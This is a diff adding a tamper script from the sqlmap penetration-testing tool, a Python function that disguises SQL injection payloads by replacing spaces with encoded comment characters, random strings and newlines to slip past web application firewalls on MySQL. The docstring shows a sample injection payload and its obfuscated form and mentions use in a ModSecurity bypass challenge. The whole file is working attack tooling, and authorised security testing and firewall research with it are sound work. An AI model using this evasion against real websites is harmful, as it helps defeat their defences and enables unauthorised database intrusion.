renamed

tamper/space2hash.py

@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import os
+import random
+import string
+
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
+
+def tamper(payload):
+    """
+    Replaces space character (' ') with a pound character ('#') followed by
+    a random string and a new line ('\n')
+
+    Example:
+        * Input: 1 AND 9227=9227
+        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
+
+    Requirement:
+        * MySQL
+
+    Tested against:
+        * MySQL 4.0, 5.0
+
+    Notes:
+        * Useful to bypass several web application firewalls
+        * Used during the ModSecurity SQL injection challenge,
+          http://modsecurity.org/demo/challenge.html
+    """
+
+    retVal = ""
+
+    if payload:
+        for i in xrange(len(payload)):
+            if payload[i].isspace():
+                randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
+                retVal += "%%23%s%%0A" % randomStr
+            elif payload[i] == '#' or payload[i:i+3] == '-- ':
+                retVal += payload[i:]
+                break
+            else:
+                retVal += payload[i]
+
+    return retVal